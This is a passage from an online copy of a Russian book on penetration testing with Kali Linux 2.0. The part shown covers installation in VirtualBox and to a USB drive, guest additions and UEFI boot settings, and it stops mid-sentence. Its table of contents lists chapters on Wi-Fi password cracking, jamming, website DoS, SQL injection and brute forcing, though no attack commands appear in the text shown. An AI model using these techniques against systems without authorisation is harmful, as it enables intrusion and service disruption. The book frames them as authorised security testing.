Тестирование на проникновение с помощью Kali Linux 2.0 [Алексей Вячеславович Милосердов] (pdf) читать онлайн

-  Тестирование на проникновение с помощью Kali Linux 2.0   24.11 Мб, 348с. скачать: (pdf) - (pdf+fbd)  читать: (полностью) - (постранично) - Алексей Вячеславович Милосердов

Книга в формате pdf! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]

Тестирование на проникновение с помощью Kali Linux
Информация в данной книге предназначена для ознакомления или
тестирования на проникновение собственных сетей. Для тестирования
сетей третьих лиц, получите письменное разрешение.
"Тестирование на проникновение (жарг. Пентест) — метод оценки
безопасности компьютерных систем или сетей средствами моделирования
атаки злоумышленника." - WiKi
Вся ответственность за реализацию действий, описанных в книге, лежит на
вас. Помните, что за неправомерные действия предусмотрена
ответственность, вплоть до уголовной.

Автор книги:
Милосердов Алексей Вячеславович
Права на книгу принадлежат:
WebWare.biz
Редактор книги:
Гриднев Данил Александрович

2015

Тестирование на проникновение с помощью Kali Linux 2.0

Оглавление
Часть 1.

Общая информация и установка Kali Linux

Глава 1.

Что Такое Kali Linux?

7

Глава 2.

Как установить Kali Linux: подробная инструкция для
установки на компьютер и в виртуальную машину

9

Глава 3.

Установка Дополнений гостевой ОС VirtualBox для Kali Linux
2.0

22

Глава 4.

Как установить Kali Linux на флешку и на внешний диск
(простой способ)

25

Глава 5.

10 лучших подсказок того, что нужно сделать после
установки Kali Linux 2.0

43

Глава 6.

Инструменты VMware в гостевой системе Kali

45

Глава 7.

Как включить VPN на Kali Linux — разрешение проблемы с
невозможностью добавить VPN

45

Глава 8.

Проверка и восстановление репозиториев в Kali Linux из
командной строки

52

Глава 9.

Как поменять среду рабочего стола в Kali Linux

54

Глава 10.

Как добавить/удалить обычного (не рута) пользователя в Kali
Linux

63

Глава 11.

Как сбросить пароль root’а в Kali Linux

66

Глава 12.

Восстанавливаем GRUB в Kali Linux после обновления до
Windows 10

68

Глава 13.

Повышаем свою анонимность в Интернете с Tor в Kali Linux

70

Часть 2.

Обзор инструментов Kali Linux

Глава 14.

Обзор разделов инструментов Kali Linux. Часть 1. Краткая
характеристика всех разделов

74

Глава 15.

Обзор разделов инструментов Kali Linux. Часть 2.
Инструменты для сбора информации

81

Глава 16.

Лучшие хакерские программы

95

Глава 17.

База данных эксплойтов от Offensive Security (создателей Kali
Linux)

119

Часть 3.

Тестирование на проникновение беспроводных сетей

Глава 18.

Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры

122

Глава 19.

Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и cowpatty
в Kali Linux

129

Глава 20.

Взлом Wifi WPA/WPA2 паролей с использованием Reaver

135

Глава 21.

Модификация форка Reaver — t6x — для использования

140

По материалам сайта WebWare.biz

3

Тестирование на проникновение с помощью Kali Linux 2.0

атаки Pixie Dust
Глава 22.

Взлом паролей WPA2/WPA с помощью Hashcat в Kali Linux
(атака перебором Wi-Fi паролей по маске)

145

Глава 23.

Мод Wifite с поддержкой Pixiewps

153

Глава 24.

Взлом Wi-Fi сетей: инструменты, которые не попали в Kali
Linux

155

Глава 25.

Router Scan by Stas’M на Kali Linux (взлом роутеров и Wi-Fi в
промышленных масштабах)

165

Глава 26.

Чиним Wifi_Jammer и Wifi_DoS в WebSploit

168

Глава 27.

Стресс-тест беспроводной сети с Wifi_Jammer: как глушить
Wi-Fi

172

Глава 28.

Стресс-тест беспроводной сети с Wifi_DoS: как досить Wi-Fi

176

Часть 4.

Стресс-тесты сети

Глава 29.

Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali Linux:
slowloris, slow body и slow read атаки в одном инструменте

179

Глава 30.

Стресс-тест сети: DoS веб-сайта в Kali Linux с GoldenEye

186

Глава 31.

Стресс-тест сети с Low Orbit Ion Cannon (LOIC)

195

Глава 32.

Стресс-тест сети: DoS с использованием hping3 и спуфингом
IP в Kali Linux

199

Часть 5.

Анализ уязвимостей в веб-приложениях

Глава 33.

Инструкция по WhatWeb: как узнать движок сайта в Kali Linux

203

Глава 34.

SQL-инъекции: простое объяснение для начинающих (часть
1)

207

Глава 35.

Использование SQLMAP на Kali Linux: взлом веб-сайтов и баз
данных через SQL-инъекции

219

Глава 36.

Хакерские плагины для Firefox

232

Глава 37.

Сканируем на уязвимости WordPress: WPScanner и Plecost

236

Глава 38.

Новая версия Plecost 1.0.1 — программы для поиска
уязвимостей WordPress

240

Глава 39.

Работа с W3af в Kali Linux

244

Глава 40.

ZAProxy: тестирование на проникновение веб-приложений

248

Глава 41.

Как запустить Metasploit Framework в Kali Linux 2.0

250

Глава 42.

Как запустить Metasploit Framework в Kali Linux 1.1

256

Глава 43.

DIRB: поиск скрытых каталогов и файлов на веб-сайтах

265

Глава 44.

Поиск админок сайтов с Kali Linux

271

Часть 6.

Анализ уязвимостей в операционных системах и
серверном программном обеспечении

По материалам сайта WebWare.biz

4

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 45.

Сканирование уязвимостей с OpenVAS 8.0

272

Глава 46.

Инструкция по Armitage: автоматический поиск и проверка
эксплойтов в Kali Linux

275

Глава 47.

Как сканировать Linux на руткиты (rootkits) с помощью
rkhunter

283

Глава 48.

Аудит безопасности Linux

286

Глава 49.

Установка Linux Malware Detect (LMD) на Linux

292

Глава 50.

Как УЗНАТЬ пароль Windows?

296

Часть 7.

Сканирование сетей. Перехват данных в сетях

Глава 51.

Эмуляция сети из нескольких компьютеров на одном
компьютере

299

Глава 52.

Как использовать сканер безопасности NMAP на Linux

301

Глава 53.

Книга по Nmap на русском

310

Глава 54.

Взлом пароля веб-сайта с использованием WireShark (и
защита от этого)

310

Глава 55.

FTP-Map: определяем программное обеспечение и его
версию для FTP-серверов и ищем для них эксплойты

314

Глава 56.

ZMap или Как просканировать все IPv4 адреса мира за 45
минут

316

Часть 8.

Атаки на пароли. Брутфорсинг

Глава 57.

Списки слов для атаки по словарю: пароли, имена
пользователей, каталоги

319

Глава 58.

PW-Inspector: отбираем пароли соответствующие критериям

325

Глава 59.

THC-Hydra: очень быстрый взломщик сетевого входа в
систему (часть первая)

326

Глава 60.

Брутфорсинг веб-сайтов с Hydra (часть вторая инструкции по
Hydra)

334

Глава 61.

Crunch — генератор паролей: основы использования и
практические примеры

343

Глава 62.

BruteX: программа для автоматического брутфорса всех
служб

346

По материалам сайта WebWare.biz

5

Тестирование на проникновение с помощью Kali Linux 2.0

Об этой книге
Эта книга — пособие по Kali Linux на русском языке. В этой книге собраны самые
интересные материалы с сайта WebWare.biz. Источником материалов сайта
WebWare.biz являются: переводы англоязычных ресурсов — книг и веб-сайтов
(основной источник), а также собственный опыт.
Смысл составления этой книги — систематизация знаний, накопленных на сайте.
На сайте WebWare.biz ещё больше материала, в том числе и по Kali Linux. Весь
материал также бесплатен. Статьи являются «побочным продуктом» моего обучения. Я
изучаю системное администрирование операционной системы Linux и веб-серверов на
основе Linux, для анализа качества настройки используются разнообразные сканеры,
инструменты аудита, методы тестирования на проникновение и прочее — именно то,
что собрано в Kali Linux. И актуальной и качественной информации по этим вопросам
на русском языке мало. Основные источники её получения — англоязычные книги и
англоязычные веб-сайты. Даже в англоязычных книжках, которые продаются по 30-50
баксов, есть и устаревшая информация, и нерабочие примеры. Одна из книг по Kali
Linux оказалась какой-то старой переделкой книги о BackTrack — в некоторых местах
авторы даже забыли поменять BackTrack на Kali Linux. Это также говорит о качестве
подготовки и читке перед выпуском.
Поэтому изучение англоязычных источников — это не просто чтение. Это: чтение,
попытка реализовать, исправление ошибок и неточностей. Чтобы сохранить
полученные данные и закрепить знания, я создаю свой собственный архив
на WebWare.biz. Хочу предупредить, что на сайте много описок, орфографических
ошибок, неточностей перевода. Поэтому, если он вам нравится как есть — буду рад вас
видеть. У меня нет времени работать корректором и бесконечно вычитывать статьи и
шлифовать стиль. Не хватает времени для оформления новых статей, который я делаю
на голом энтузиазме. У меня есть настоящая работа, за которую получаю деньги.
Кстати о деньгах, если вам хочется, чтобы у меня было чуть больше времени на
подготовку
новых
статей,
то
вы
можете
сделать
денежное
пожертвование http://webware.biz/?page_id=27 . Если лишних денег у вас нет, но есть
материал, которым хотите поделится, то посмотрите здесь http://webware.biz/?p=3327,
возможно, вас это заинтересует.

По материалам сайта WebWare.biz

6

Тестирование на проникновение с помощью Kali Linux 2.0

Часть 1. Общая информация и установка Kali Linux
Глава 1. Что Такое Kali Linux?
Kali Linux является передовым Linux дистрибутивом для проведения тестирования на
проникновение и аудита безопасности.

Особенности Kali Linux
Kali является полной повторной сборкой BackTrack Linux — www.backtrack-linux.org,
полностью придерживаясь стандартов разработки Debian. Вся новая инфраструктура
была пересмотрена, все инструменты были проанализированы и упакованы, и мы
перешли на Git для наших VCS.


Более 300 инструментов для проведения тестирования на проникновение:
После рассмотрения каждого инструмента, который был включен в BackTrack,
мы устранили большое количество инструментов, которые либо не работают
или дублируют другие инструменты, с похожей функциональностью.



Бесплатный и всегда будет бесплатным: Kali Linux, как и его предшественник,
является полностью бесплатным и всегда будет таким. Вам никогда, не придется
платить за Kali Linux.



Git дерево с открытым источником кода: Мы ярые сторонники программного
обеспечения с открытым источником кода и наше дерево разработки доступно
для всех, и все источники доступны для тех, кто желает настроить или
перестроить пакеты.



FHS совместимый: Kali был разработан, чтобы придерживаться Filesystem
Hierarchy Standard, что позволяет всем пользователям Linux легко найти
исполняемые файлы, файлы поддержки, библиотеки и т.д.



Обширная поддержка беспроводных устройств: Мы построили Kali Linux для
поддержки как можно большего количества беспроводных устройств, что
позволяет ему правильно работать с широким спектром аппаратных устройств и
делает его совместимым с многочисленными USB и другими беспроводными
устройствами.



Специальное ядро пропатчено от инъекций: Как пентестерам, разработчикам
часто необходимо проводить аудит беспроводных сетей, поэтому в наше ядро
включены последние патчи.



Безопасная среда разработки: Команда разработчиков Kali Linux состоит из
небольшой группы доверенных лиц, которые могут записать пакеты и
взаимодействовать с хранилищами только при использовании нескольких
защищенных протоколов.



GPG подписанные пакеты и репозитории: Все пакеты Kali подписываются
каждым отдельным разработчиком, когда они создаются и записываются и
репозитории впоследствии подписывают пакеты.



Многоязычность: Хотя инструменты для пентеста, как правило, написаны на
английском языке, мы добились того, что у Kali есть настоящая многоязычная
поддержка, что позволяет большинству пользователей работать на родном
языке и находить инструменты, необходимые для работы.

По материалам сайта WebWare.biz

7

Тестирование на проникновение с помощью Kali Linux 2.0


Полностью настраиваемый: Мы полностью понимаем, что не все будут
согласны с нашими решениями дизайна, поэтому мы дали возможность нашим
пользователям как можно проще настраивать Kali Linux на свой вкус, вплоть до
ядра.



Поддержка ARMEL и ARMHF: ARM-системы становятся все более и более
распространенным и недорогими, и мы знали, что необходимо сделать
поддержку Kali для ARM-систем в результате чего созданы рабочие инсталляции
для ARMEL и ARMHF систем. Kali Linux имеет ARM репозитории
интегрированные с основным дистрибутивом, так инструменты для ARM будут
обновляться вместе с остальными дистрибутивами. Кали в настоящее время
доступна для следующих ARM-устройств:
o

rk3306 mk/ss808

o

Raspberry Pi

o

ODROID U2/X2

o

Samsung Chromebook

Kali специально создана для тестирования на проникновение и, следовательно, вся
документация на этом сайте, предполагает предварительное знание операционной
системы Linux.

Различия Между Kali Linux и Debian
Kali Linux ориентирована на профессионалов в тестировании на проникновение и
аудите безопасности. Таким образом, в ядре Kali Linux был реализован ряд изменений,
которые отражают эти потребности:
Дизайн single user, root access: в связи с характером аудита безопасности, Kali Linux
предназначен для использования в сценарии “single, root user“.
Сетевые сервисы отключены по умолчанию: Kali Linux содержит sysvinit hooks,
которые отключают сетевые сервисы по умолчанию. Эти hooks позволяют
устанавливать различные сервисы на Кали Linux, обеспечивая при этом то, что наш
дистрибутив остается безопасным по умолчанию, независимо от того, какие пакеты
установлены. Дополнительные сервисы, такие как Bluetooth, также в черном списке по
умолчанию.
Пользовательское Linux
беспроводной инъекций.

ядро: Kali

Linux

использует

ядро,

пропатченое

для

Подходит ли Kali Linux Именно Вам?
От нас как от разработчиков, скорее всего, ожидают, что мы будем рекомендовать
всем использовать Kali Linux. Однако, Kali дистрибутив Linux специально
разработанный для профессионального тестирования на проникновение и аудита
безопасности и, таким образом НЕ рекомендуется для тех, кто незнаком с Linux.
Кроме того, неправильное использование средств безопасности в вашей сети, в
частности, без разрешения, может нанести непоправимый ущерб и привести к
значительным последствиям.

По материалам сайта WebWare.biz

8

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 2. Как установить Kali Linux: подробная инструкция для
установки на компьютер и в виртуальную машину
В виртуальной машине невозможно использовать встроенный Wi-Fi, можно
использовать только USB Wi-Fi карты. Поэтому рекомендуется ознакомиться со
статьёй «Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры».

Установка Kali Linux 2.x и Kali Linux 1.x
Kali Linux — это дистрибутив, основанный на Linux Debian. Его особенностью является
то, что в нём собрано огромное количество инструментов, говоря простыми словами,
«для хакеров». Т.е. здесь вы найдёте разнообразные сканеры для получения
информации и поиска уязвимостей, программы для подборов паролей и обратной
инженерии, инструменты для социальной инженерии и углублённого теста на
проникновение веб-систем и т. д. Краткому обзору разделов Kali Linux будет посвящена
вторая часть данной статьи, а подробно каждый инструмент будет рассмотрен в
отдельных ближайших статьях — заходите на WebWare.biz почаще, а ещё лучше —
подписывайтесь тем или иным способом на наши новости — на RSS-ленту, через e-mail
уведомления или в социальных сетях.
Пока вы читаете вводные слова, перейдите на домашнюю страницу Kali Linux и
бесплатно скачайте её для себя:

По материалам сайта WebWare.biz

9

Тестирование на проникновение с помощью Kali Linux 2.0

В зависимости от битности вашего компьютера, выберете версию Kali Linux 64 bit ISO
или Kali Linux 32 bit ISO. Скачать можно как напрямую с зеркал, так и через торрент
(скачивайте через торрент — пожалейте их сервера).
Из-за своего специфического назначения, Kali Linux не совсем подходит в качестве
домашней системы (хотя Линукс он и есть Линукс — можно доставить дополнительные
пакеты и вполне себе пользоваться, особенно, если основной вашей деятельностью
является анализ на проникновение и прочее подобное.
Оптимальным является использование Kali Linux в виде Live-дистрибутива или
установки на виртуальную машину (можно использовать Live-дистрибутив на
виртуальной машине). Я установлю Kali Linux в виртуальную машину, т. к. хочу
обновлять компоненты (программы) и сохранять данные (профили, отчёты).
Если у вас ещё нет VirtualBox, то перейдите на страницу скачивания с официального
сайта (программа бесплатная).
В VirtualBox нажимаем «Создать». В поле для имени вводите любое имя, выбираете
тип ОС (Linux) и выбираете версию (выбор версии не играет особой роли — она
используется только для рекомендации размеров дискового накопителя и выделяемой
виртуальной машине оперативной памяти). У меня получилось так (я выбрал Debian,
т. к. Kali Linux основана именно на нём):

Далее выбираете объём оперативной памяти, выделяемой для виртуальной машины
— можете оставить рекомендуемый, а можете добавить. Главное правило — оставьте
достаточно памяти для реального компьютера, на котором запущен ваш VirtualBox,
иначе весь компьютер, а вместе с ним и VirtualBox начнут страшно тормозить:

По материалам сайта WebWare.biz

10

Тестирование на проникновение с помощью Kali Linux 2.0

В следующем окне у нас спрашивают о дисковом накопителе — ничего менять не
нужно, мы создадим новый виртуальный жёсткий диск (если вы собираетесь
использовать Live-дистрибутив, то выберете «Не подключать виртуальный жёсткий
диск»):

В следующем окне опять ничего не трогаем:

По материалам сайта WebWare.biz

11

Тестирование на проникновение с помощью Kali Linux 2.0

В этом окне мы можем выбрать динамический или фиксированный жёсткий диск. Я
категорически рекомендую оставить значение по умолчанию — т. е. динамический.
Если вы выберете фиксированный и выберете размер, например 30 Гб, то это значит,
что будет создан жёсткий диск размером именно 30 Гб, т. е. он займёт много места.
Если же вы выбрали динамический, то созданный диск будет расширятся только по
мере необходимости (например, после установки он будет 2-3 Гб), но в любой момент
вы можете использовать заданное количество места:

По материалам сайта WebWare.biz

12

Тестирование на проникновение с помощью Kali Linux 2.0

Теперь задаёте размер диска, не бойтесь поставить большое значение — если вы не
будете использовать так много, какой размер задали, то виртуальный диск не будет
расширяться до большого размера. Но вот если вы задали маленький размер и в какойто момент у вас кончилось место, то можете считать, что у вас проблемы. Обязательно
увеличьте размер диска до 10 Гб или более, иначе, вам просто не хватит места:

В этом же окошечке укажите желаемое имя и расположение виртуального жёсткого
диска:

По материалам сайта WebWare.biz

13

Тестирование на проникновение с помощью Kali Linux 2.0

Думаю, у вас уже докачался ваш дистрибутив Kali Linux, у меня скачался каталог kalilinux-1.0.9a-amd64, а в нём два файла, нас интересует только файл kali-linux-1.0.9aamd64.iso.
Нажимаем Запустить виртуальную машину. Нас просят выбрать реальный дивиди-ром
или указать расположение образа диска, выбираем наш скаченный образ Kali Linux:

И нажимаем продолжить:

По материалам сайта WebWare.biz

14

Тестирование на проникновение с помощью Kali Linux 2.0

Если вы хотите запустить Live-версию (чтобы посмотреть или попробовать), то
выбираете этот пункт. Меня сейчас интересует пункт Install (установка):

Выбираете свой язык, раскладку клавиатуры, способ переключения между русской и
латинской раскладкой.
Придумайте любое имя вашего компьютера:

По материалам сайта WebWare.biz

15

Тестирование на проникновение с помощью Kali Linux 2.0

И имя домена:

Пароль рута (что угодно, но не пустое):

По материалам сайта WebWare.biz

16

Тестирование на проникновение с помощью Kali Linux 2.0

Выбираете часовой пояс. Разметка дисков — ничего менять не нужно.
Предупреждение (если ставите на виртуальную машину, то просто нажимаете Enter):

Ещё раз просто нажимаете Enter:

И ещё раз. В следующем окне переключаетесь на «Да»:
По материалам сайта WebWare.biz

17

Тестирование на проникновение с помощью Kali Linux 2.0

Просто ждём, когда всё скопируется:

После окончания установки появляется вот такое окно, нажимаем «Да»:
По материалам сайта WebWare.biz

18

Тестирование на проникновение с помощью Kali Linux 2.0

Предлагают сразу настроить прокси — я не буду это делать, т. к. ставлю Kali Linux в
образовательных целях и для сканирования своего локального сервера и своих сайтов:

Скачиваются обновления программ (этот шаг можно пропустить, но лучше всё-таки
скачать):
По материалам сайта WebWare.biz

19

Тестирование на проникновение с помощью Kali Linux 2.0

Нажимаем «Да»:

Образ диска .iso должен извлечься автоматически, поэтому просто нажимаем
«Продолжить»:
По материалам сайта WebWare.biz

20

Тестирование на проникновение с помощью Kali Linux 2.0

Для входа используем имя 'root' и ваш пароль:

Kali Linux после завершения некоторых своих операций сама перезагрузится и теперь
мы приступаем к следующей части — знакомимся с основными разделами
инструментов.
По материалам сайта WebWare.biz

21

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 3. Установка Дополнений гостевой ОС VirtualBox
для Kali Linux 2.0
Если вы запускаете Kali Linux в качестве «гостевой» системы в VirtualBox, эта статья
поможет вам успешно установить инструменты «Дополнения гостевой ОС».
Вы должны использовать VirtualBox версии 4.2.xx или выше, чтобы воспользоваться
улучшениями, включающие обновления совместимости и улучшенную стабильность
как основного приложения, так и Дополнений гостевой ОС.

Установка Дополнений гостевой ОС VirtualBox для Kali Linux
Дополнений гостевой ОС VirtualBox обеспечивают надлежащую интеграцию мыши и
экрана, а также общий доступ к каталогу с вашей основной операционной системой.
Чтобы установить их, следуйте инструкции.
Запустите вашу виртуальную машину с Kali Linux, откройте окно терминала и наберите
следующую команду для установки заголовков ядра Linux.
1|

apt-get update && apt-get install -y linux-headers-$(uname -r)

Когда это завершено, вы можете подключить CD-ROM образ с «Дополнениями
гостевой ОС». Выберите «Устройства» → «Подключить образ диска Дополнений
гостевой ОС». Это смонтирует ISO с Гостевыми дополнениями в виртуальный CD
привод вашей виртуальной машины Kali Linux. Когда появиться предложение
автозапуска CD, нажмите кнопку Отмена.
Когда это завершено, вы можете подключить CD-ROM образ с «Дополнениями
гостевой ОС». Выберите «Устройства» → «Подключить образ диска Дополнений
гостевой ОС». Это смонтирует ISO с Гостевыми дополнениями в виртуальный CD
По материалам сайта WebWare.biz

22

Тестирование на проникновение с помощью Kali Linux 2.0

привод вашей виртуальной машины Kali Linux. Когда появиться предложение
автозапуска CD, нажмите кнопку Отмена.

Из окна терминала скопируйте файл VboxLinuxAdditions.run с CD-ROM Гостевые
дополнения в вашу локальную систему. Убедитесь, что он является исполнимым и
запустите установку.
1|

cp /media/cdrom/VBoxLinuxAdditions.run /root/

2|

chmod 755 /root/VBoxLinuxAdditions.run

3|

cd /root

4|

./VBoxLinuxAdditions.run

По материалам сайта WebWare.biz

23

Тестирование на проникновение с помощью Kali Linux 2.0

Перезагрузите виртуальную машину Kali Linux для завершения установки Гостевых
дополнений. Теперь у вас должна быть полная интеграция машины и экрана, а также
возможность расшаривать папки с главной системой.

Создание общих папок с хостовой системой
Этот раздел объясняет, как сделать общие каталоги между вашей основной системой и
Kali Linux VirtualBox запущенной в VirtualBox.
Из главного окна VirtualBox выберите виртуальную машину Kali Linux и кликните ссылку
«Общие папки». Появится новое окно для добавления общих каталогов.
Добавьте каталог, который вы хотите сделать общим, поставьте галочки «Автоподключение» и «Создать постоянную папку» и нажмите ОК.

По материалам сайта WebWare.biz

24

Тестирование на проникновение с помощью Kali Linux 2.0

Ваши расшаренные папки теперь будут доступны в директории media. Вы можете
сделать закладку или ссылку для простого доступа в эту директорию.

Глава 4. Как установить Kali Linux на флешку и на внешний диск
(простой способ)
Преимущества установки Linux на флешку
Преимуществ у установки Kali Linux на флешку много:


возможность напрямую использовать всё железо компьютера (в том числе видеокарту,
Wi-Fi устройства);



как следствие предыдущего пункта — повышенная производительность (по сравнению
с виртуальной машиной; если флеш карта достаточно быстрая) и возможность
задействовать GPU для перебора хэшей или Wi-Fi-устройств для тестирования на
проникновение Wi-Fi-сетей;



на компьютер не вносится никаких изменений — ни в загрузчик, ни на диски;



с одной флешки можно загрузиться на любом компьютере;



ваша Kali Linux всегда с вами.

Процедура установки на флэшку и на идентична. Разница только в том, что на жёстком
диске можно создать несколько разделов (дисков). Конечно, на флешке тоже можно
создать несколько разделов, но заставить Windows увидеть все их — это
нетривиальная задача. Если у вас всё в порядке с деньгами, то посмотрите на внешние
твердотельные диски (). У них небольшой физический размер (немногим больше
По материалам сайта WebWare.biz

25

Тестирование на проникновение с помощью Kali Linux 2.0

флешек), они очень ёмкие (у них большой объём памяти) и они, естественно, очень
быстрые. И, как было сказано чуть ранее, их можно разделить на разделы.
Вообще, на WebWare.biz уже есть статья «Установка Kali Linux Live на USB». Ключевое
слово в ней — Live. Т.е. мы попросту делаем загрузочную флешку с Live версией.
Особенностью Live версии является то, что невозможно сохранить изменения. Т.е. все
сделанные изменения будут теряться при последующей перезагрузке.
Как сделать так, чтобы появилась возможность сохранять изменения, рассказано в
статье «Добавление возможности постоянного сохранения (Persistence) к вашим Kali
Live USB». Описанную в ней процедуру нужно выполнять под Linux, что для некоторых
может показаться слишком сложным.
А для совсем продвинутых, есть ещё одна статья «Kali USB – хранилище с мульти
профилями».
Способ, на который выше даны ссылки, является рекомендуемым авторами Kali Linux и
является универсальным.
Предложенный ниже способ — является очень простым, но чуть менее
универсальным. На некоторых компьютерах, процессор которых не поддерживает
виртуализацию, применить инструкцию не получится.
На самом деле, нижеприведённая инструкция применима к любому Linux! Т.е. если вы
хотите установить Mint, Ubuntu или любой другой дистрибутив на флеш-накопитель,
то эта инструкция поможет вам.

Инструкция по установке Linux на USB-флеш-накопитель или на внешний
жёсткий диск
Нам понадобится программа VirtualBox. Это программа для создания виртуальных
компьютеров. Наш установленный на флешку Linux будет работать не в виртуальной
машине, никакие виртуальные компьютеры будут не нужны. Но, для установки, один
раз нам понадобится эта программа. Скачиваем, устанавливаем, запускаем VirtualBox.
Создаём новую машину с любым именем — она нам понадобится на один раз. Там, где
тип, выберите Linux. А там, где версия, выберите что угодно, например, Debian (64 bit).
Если у вас нет 64-битных опций, значит процессор не поддерживает такую
виртуализацию — с этим ничего нельзя поделать.

Объём оперативной памяти тоже не очень важен. Поставьте, например, 1 Гб.
Выберите опцию «Не подключать жёсткий диск» — это важно для нашей установки.
По материалам сайта WebWare.biz

26

Тестирование на проникновение с помощью Kali Linux 2.0

Нажимаем «Создать», появится предупреждение:

Всё правильно — именно это нам и нужно, нажимаем «Продолжить».
Теперь запускаем нашу новую виртуальную машину. Нас просят выбрать диск для
установки. Бесплатно скачать Kali Linux можно на официальном сайте. Выберите
желаемую битность и используйте торрент, пожалейте их сервера!

По материалам сайта WebWare.biz

27

Тестирование на проникновение с помощью Kali Linux 2.0

Выбираем скаченный образ. Kali Linux загрузится в следующее меню:

По материалам сайта WebWare.biz

28

Тестирование на проникновение с помощью Kali Linux 2.0

Ничего пока не трогаем, а вставляем нашу флешку в компьютер (в реальный
компьютер). И вот здесь у меня возникла заминка. Дело в том, что Kali Linux не видела
флешку. Я подумал, что просто не произошло автоматическое монтирование и ввёл
команды для этого. Но оказалось, что монтировать нечего — в списке устройств USBнакопитель (да и вообще любые диски) отсутствовали. Я даже проверил с другим
Линуксом — Linux Mint. Результат оказался тем же: виртуальный компьютер не видел
флешку, хотя VirtualBox захватывал её. Т.е. флешка становилась недоступной для
использования на реальной машине. Решение оказалось очень простым: переткнуть
флешку из гнезда USB 3 в гнездо USB 2. Новая бета версия VirtualBox 5 поддерживает
USB 3 (если установить пакет расширений). Но у нас стабильная версия, поэтому просто
смиряемся с более медленной работой флешки при установке операционной системы.
Флешку не нужно подготавливать (делать загрузочной или что-то такое) — Linux сам
всё сделает и правильно настроит. Данные с флешки удалятся — думаю, вы это
понимаете. Т.е. если там что-то ценное, то заранее скопируйте их куда-нибудь.
В общем, после подключения флешки к реальному компьютеру, теперь нужно её
подключить к виртуальной машине, это делается в этом меню:

По материалам сайта WebWare.biz

29

Тестирование на проникновение с помощью Kali Linux 2.0

Теперь возвращаемся к нашей Kali и выбираем там «Graphical install».

Дальше всё просто. Здесь не все скриншоты, только несколько узловых. Если у вас
трудности именно на этом этапе, то можете подсмотреть подсказки в статье про
установку Kali.

По материалам сайта WebWare.biz

30

Тестирование на проникновение с помощью Kali Linux 2.0

По материалам сайта WebWare.biz

31

Тестирование на проникновение с помощью Kali Linux 2.0

По материалам сайта WebWare.biz

32

Тестирование на проникновение с помощью Kali Linux 2.0

По материалам сайта WebWare.biz

33

Тестирование на проникновение с помощью Kali Linux 2.0

А теперь просто ждём. Хоть я специально купил флешку с поддержкой USB 3, нам не
удалось воспользоваться преимуществом в скорости.

По материалам сайта WebWare.biz

34

Тестирование на проникновение с помощью Kali Linux 2.0

Наконец-то всё готово:

По материалам сайта WebWare.biz

35

Тестирование на проникновение с помощью Kali Linux 2.0

Перезагрузка начнётся не сразу — дожидаемся окончание всех операций. Когда
мелькнёт чёрный экран, то можно отключить виртуальную машину.
Вот и всё — флешка готова. Теперь можно загрузится с неё на любом компьютере.

Загрузка Kali Linux с флешки
Если у вас Windows не лицензионный, а «обычный», то загрузится с флешки достаточно
просто. При начале загрузки компьютера нажимайте много раз кнопку Delete или Esc
(иногда другую — в зависимости от модели материнской платы — это можно узнать у
Гугла). В БИОСе, там где «Порядок загрузки» выберите вашу флешку. Флешка в этот
момент должна быть вставлена в компьютер, иначе БИОС её не увидит. Опять же,
когда я использовал гнездо USB 3, то и БИОС не видел флешку. Пришлось переключить
в USB 2.
Если у вас лицензионный Windows (мне его втюхали вместе с ноутом), то у вас
наверняка стоит новый геморрой от Microsoft под названием UEFI. Благодаря этой
новации, теперь просто так не попадёшь в БИОС (а что это меняет, кроме добавления
проблем?).
Самый простой способ попасть в БИОС — это ввести в командной строке (от имени
администратора):
1|

shutdown.exe /r /o

После этого появится сообщение, что компьютер перезагрузится менее чем через одну
минуту. После перезагрузки попадаем сюда и выбираем «Диагностика»:

По материалам сайта WebWare.biz

36

Тестирование на проникновение с помощью Kali Linux 2.0

Теперь выбираем «Дополнительные параметры»:

Теперь «Параметры встроенного ПО UEFI»:

По материалам сайта WebWare.biz

37

Тестирование на проникновение с помощью Kali Linux 2.0

Ну и «Перезагрузить»:

У разных производителей разные БИОСы, поэтому у вас может быть по-другому. Но я
покажу на пример своего ноута, чтобы была понятна суть. Переходим во вкладку Boot,
там выбираем Boot Option Priorities, смотрим какие там есть варианты:

По материалам сайта WebWare.biz

38

Тестирование на проникновение с помощью Kali Linux 2.0

Всего один вариант и точно нет моей флешки.
Ищем Secure Boot и отключаем (Disable):

Появляется новый пункт меню OS Mode Selection. В нём выбираем CMS and UEFI OS.
Если выбрать только CMS OS, то установленный Windows не будет загружаться.

По материалам сайта WebWare.biz

39

Тестирование на проникновение с помощью Kali Linux 2.0

Теперь ищем такой пункт как Fast BIOS Mode и отключаем его (Disable). Это нужно для
того, чтобы при загрузке БИОС начал проверять наличие USB устройств:

Настало время сохранить изменения и перезагрузится:

По материалам сайта WebWare.biz

40

Тестирование на проникновение с помощью Kali Linux 2.0

Но нам опять нужно в БИОС! Поэтому при загрузке нажимаете соответствующую
клавишу. У меня эта клавиша — F2. На старом компьютере этой клавишей была Delete.
Эту клавишу БИОС сам пишет при загрузке компьютера. Если вы не успеваете
посмотреть или не понимаете английский, то посмотрите для вашей модели в Гугле.
Либо пробуйте методом перебора. Кроме названных, ещё этой клавишей может быть
Esc или какая либо F*.
Опять переходите во кладку Boot Option Priorities. Теперь там появилась флешка. Если
вы сделаете как я — на первое место поставите флешку, а на второе — Windows Boot
Manager, то добьётесь следующего эффекта: если флешка вставлена в компьютер, то
будет загружаться Linux с этой флешки. Если флешки нет, то будет загружаться Windows
и не надо больше лазить в БИОС!

По материалам сайта WebWare.biz

41

Тестирование на проникновение с помощью Kali Linux 2.0

Не забываем сохранится и перезагружаемся:

Заключение
Установка на флешку с использованием VirtualBox – это не единственный способ. Я
видел в Интернете инструкцию в соответствии с которой рекомендовалось записать
Live-образ Linux на CD (DVD)-диск, загрузится с него, вставить флешку и произвести
установку на флешку. Недостатки данного способоа:


обязательно нужен CD (DVD)-привод (уже не у всех он есть);



есть вероятность напортачить. В качестве возможных последствий могут быть
как безобидные (невозможность загрузиться в установленный Linux на других
компьютерах), так и вполне серьёзные (случайное удаление всех данных с
одного из жёстких дисков).

Если ваш процессор не поддерживает виртуализацию, т. е. вы не можете использовать
